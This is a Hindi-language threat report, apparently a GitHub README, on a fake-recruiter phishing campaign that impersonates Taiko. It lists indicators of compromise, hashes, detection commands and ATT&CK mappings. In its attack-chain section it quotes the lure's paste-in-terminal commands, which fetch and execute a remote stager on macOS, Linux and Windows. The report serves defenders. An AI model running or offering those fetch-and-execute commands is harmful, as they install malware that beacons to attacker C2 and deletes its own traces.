taikotalent.xyz — नकली-भर्तीकर्ता टर्मिनल ट्रोजन (IoCs और डिटेक्शन)

स्थिति: हटा दिया गया। दुर्भावनापूर्ण डोमेन taikotalent.xyz को इसके रजिस्ट्रार (clientHold) द्वारा 2026-10-10 को 02:39 UTC पर निलंबित कर दिया गया था — AWS abuse को हमारी साक्ष्य-आधारित फ़ॉलो-अप के लगभग 12 घंटे बाद, जब पेलोड अभी भी लाइव था। 2026-10-15 को RDAP और DNS के माध्यम से सत्यापित। विवरण नीचे टाइमलाइन में दिए गए हैं।

अपडेट 2026-10-15 — फ़िशिंग डोमेन हटा दिया गया। taikotalent.xyz और hr.taikotalent.xyz अब NXDOMAIN लौटाते हैं (DNS-over-HTTPS के माध्यम से जाँचा गया, 2026-10-15) — 5 अक्टूबर की समन्वित रिपोर्टों (AWS केस 179121234700301, NameCheap टिकट NC-DFA-2100, 13 सूचित चैनल) के 10 दिन बाद। पेलोड URL (/verify_m, /verify_w) अब रिज़ॉल्व नहीं होते।

आंशिक रूप से हल — C2 परत अभी भी लाइव है: api.gaganata.ink (104.21.84.196 / 172.67.196.60) और api.fallgganata.ink अभी भी Cloudflare के पीछे रिज़ॉल्व होते हैं और HTTP का उत्तर देते हैं (प्रोब पर 404, 2026-10-15)। gaganata.ink / fallgganata.ink डोमेन के लिए abuse रिपोर्टें रजिस्ट्रार और Cloudflare के पास अभी भी लंबित हैं (abuse फ़ॉर्म के लिए ब्राउज़र + Turnstile आवश्यक है)।

स्थिति @ 2026-10-09 00:46 UTC (ऐतिहासिक): पेलोड अभी भी लाइव — https://taikotalent.xyz/verify_m → HTTP 200, 49,916 बाइट्स, 5 अक्टूबर के सैंपल के बाइट-समान, AWS abuse रिपोर्ट के 4+ दिन बाद।

एक लक्षित फ़िशिंग अभियान जो Taiko (एथेरियम रोलअप कंपनी — असली डोमेन taiko.xyz, taikotalent.xyz से कोई संबद्धता नहीं) का रूप धारण करता है, ओपन-सोर्स डेवलपर्स को उनके सार्वजनिक GitHub प्रोफ़ाइल से एकत्र किए गए पतों पर नकली "Engineering opening" भर्ती ईमेल भेजता है। नकली "application portal" एक "Anti-bot check with Terminal" पेज पर समाप्त होता है जो पीड़ित को अपने स्वयं के टर्मिनल में एक डाउनलोडर कमांड पेस्ट करने के लिए मना लेता है — किसी एक्सप्लॉइट की आवश्यकता नहीं, उपयोगकर्ता स्वयं मैलवेयर चलाता है।

टेकडाउन टाइमलाइन

तिथि (UTC)	घटना
2026-10-05	अभियान प्राप्त हुआ; सैंपल क्वारंटीन किया गया; पूर्ण फ़ॉरेंसिक रिपोर्ट भेजी गई (AWS केस `179121234700301`, Resend, Taiko)
2026-10-09	प्रकटीकरण का विस्तार: यह रेपो, gist, dev.to, GitLab snippet, Telegraph; 9 और सूचनाएँ जिनमें NameCheap abuse (→ टिकट `NC-DFA-2100`), Softshellweb (पेलोड होस्ट), Cloudflare (C2), APWG, OpenPhish, oss-security, 3 मीडिया आउटलेट शामिल हैं। पेलोड अभी भी बाइट-समान और लाइव
2026-10-15	`taikotalent.xyz` / `hr.taikotalent.xyz` → NXDOMAIN। पहली रिपोर्ट के 10 दिन बाद फ़िशिंग इंफ्रास्ट्रक्चर डाउन। C2 (`api.gaganata.ink`, `api.fallgganata.ink`) अभी भी Cloudflare के पीछे रिज़ॉल्व हो रहे हैं

यह क्यों मायने रखता है

नया पहलू: टर्मिनल-को-CAPTCHA-बनाने का सोशल-इंजीनियरिंग पैटर्न — एक नकली anti-bot जाँच जो स्टेजर चलाने को ही "सत्यापन" का चरण बना देती है।
जवाबदेही का पहलू: 5 अक्टूबर को सही चैनलों के माध्यम से (AWS केस नंबर, Resend, Taiko) पूर्ण फ़ॉरेंसिक रिपोर्ट के साथ रिपोर्ट किया गया; 9 अक्टूबर को ट्रोजन URL अभी भी बाइट-समान पेलोड परोस रहा है।
विश्वास का पहलू: SPF और DKIM दोनों पास होते हैं — प्रमाणीकरण 8 दिन पुराने डोमेन पर नियंत्रण साबित करता है, प्रतिष्ठा नहीं। DMARC पास को सुरक्षा मानने वाले मेल गेटवे उजागर हैं।
फ़ॉरेंसिक्स का पहलू: एंटी-फ़ॉरेंसिक डिज़ाइन — स्वयं-हटने वाला स्टेजर, /var/tmp/.kdm.* पर base64-एम्बेडेड दूसरा चरण, perl डबल-फ़ोर्क के माध्यम से डिटैच्ड, 60-रीट्राई क्लीनअप लूप।

समझौता के संकेतक (Indicators of Compromise)

प्रकार	मान	संदर्भ
डोमेन	`taikotalent.xyz`	पंजीकृत 2026-09-27 (Namecheap), अभियान से 8 दिन पहले
प्रेषण सबडोमेन	`hr.taikotalent.xyz`	DKIM d=; MX → AWS SES inbound gateway
प्रेषक	`[email protected]`	नकली पहचान "Joseph Quintana, Talent, Taiko"
प्रेषण IP	`23.249.215.58`	`d215-58.smtp-out.sa-east-1.amazonses.com` (Resend के माध्यम से Amazon SES)
पोर्टल	`https://taikotalent.xyz/`	"निजी आमंत्रण" SPA, प्रति-प्राप्तकर्ता Ref-कोड (`Ref-oxqgd77kb9zw14`)
डेटा चोरी	`POST /track-activity`	हर फ़ॉर्म चरण पर डिवाइस फ़िंगरप्रिंट + नाम/ईमेल/GitHub उपयोगकर्ता नाम
पेलोड (macOS/Linux)	`https://taikotalent.xyz/verify_m`	49,916 B bash स्टेजर "deepfake_guard" — 2026-10-09 को लाइव
पेलोड (Windows)	`https://taikotalent.xyz/verify_w`	`v.cmd` लॉन्चर, छिपी विंडो
C2	`https://api.gaganata.ink/guard-launcher-result`	इंस्टॉल-स्थिति बीकन (Namecheap, Cloudflare-फ्रंटेड)
C2 बैकअप	`https://api.fallgganata.ink`	द्वितीयक एंडपॉइंट
पेलोड होस्ट IP	`193.160.32.10`	Shock Hosting (US-SHOCK1-20191118)
दूसरा चरण	`/var/tmp/.kdm.XXXXXX`	Base64-डिकोड किया गया एम्बेडेड चरण; एंटी-फ़ॉरेंसिक स्व-विलोपन

प्रमुख SHA-256 हैश

आर्टिफ़ैक्ट	SHA-256
`verify_m` 2026-10-05 को क्वारंटीन किया गया (49,916 B)	`c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d`
`verify_m` 2026-10-09 को लाइव फिर से प्राप्त	`c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d` (बाइट-समान)
मूल फ़िशिंग ईमेल (कच्चा)	`84d94746ea1e4642e00bbd6250f8e4fabfeff66b76acd040bb2219412195d564`
मूल `.eml` अटैचमेंट (11,098 B)	`3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3`
फ़ॉरेंसिक रिपोर्ट PDF (17 पृष्ठ, 201,044 B)	`d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c`

स्वयं सत्यापित करें (गैर-विनाशकारी)

curl -ks https://taikotalent.xyz/verify_m | sha256sum
# -> c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d   (do NOT execute the download)

डिटेक्शन

YARA (देखें yara/bash_stager_taikotalent.yar)

होस्ट समझौता जाँच (macOS/Linux):

ls -la /var/tmp/.kdm.* 2>/dev/null
pgrep -fl 'verify_m|deepfake_guard|guard-launcher'
find ~ -maxdepth 2 \( -name 'verify_m' -o -name 'verify_w' -o -name 'v.cmd' \) 2>/dev/null

नेटवर्क: *.gaganata.ink, *.fallgganata.ink, taikotalent.xyz (incl. hr. सबडोमेन) पर egress को block/monitor करें।

मेल एडमिन: हाल ही में पंजीकृत डोमेन से आने वाले SPF/DKIM pass को तटस्थ मानें — authentication ≠ reputation।

हमले की श्रृंखला

एक सार्वजनिक GitHub contributor को Taiko engineering भूमिका की पेशकश करते हुए लक्षित ईमेल, [email protected] से (DKIM s=resend d=hr.taikotalent.xyz, Amazon SES sa-east-1 के माध्यम से, IP 23.249.215.58)।
प्रति-प्राप्तकर्ता Ref-codes वाला "Private invitation" SPA पोर्टल; POST /track-activity हर चरण पर डिवाइस फ़िंगरप्रिंट को exfiltrate करता है।
"Anti-bot check with Terminal" पेज पीड़ित के अपने टर्मिनल में एक कमांड पेस्ट करने का निर्देश देता है:
- macOS/Linux: perl -MPOSIX double-fork daemonization + curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_m
- Windows: start -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'
Stager deepfake_guard: nohup के माध्यम से detached रूप से पुनः लॉन्च होता है, api.gaganata.ink/guard-launcher-result (fallback api.fallgganata.ink) पर beacon भेजता है, एम्बेडेड base64 दूसरे चरण को /var/tmp/.kdm.XXXXXX में डिकोड करता है, उसे C2 endpoints को env vars के रूप में देकर निष्पादित करता है, और फिर launcher, status फ़ाइल तथा /var/tmp artifacts को स्वयं हटा देता है (60-retry anti-forensic लूप)।

MITRE ATT&CK

तकनीक	नाम
T1566.002	Spearphishing Link
T1656	Impersonation
T1204.002	User Execution: Malicious File (paste-in-terminal)
T1059.004	Command & Scripting: Unix Shell
T1027	Obfuscated Files (base64 second stage)
T1071.001	Application Layer Protocol: Web (beacon)
T1070.004	Indicator Removal: File Deletion (self-delete)
T1583.001	Acquire Infrastructure: Domains

सबसे लोकप्रिय

taikotalent-phishing-iocs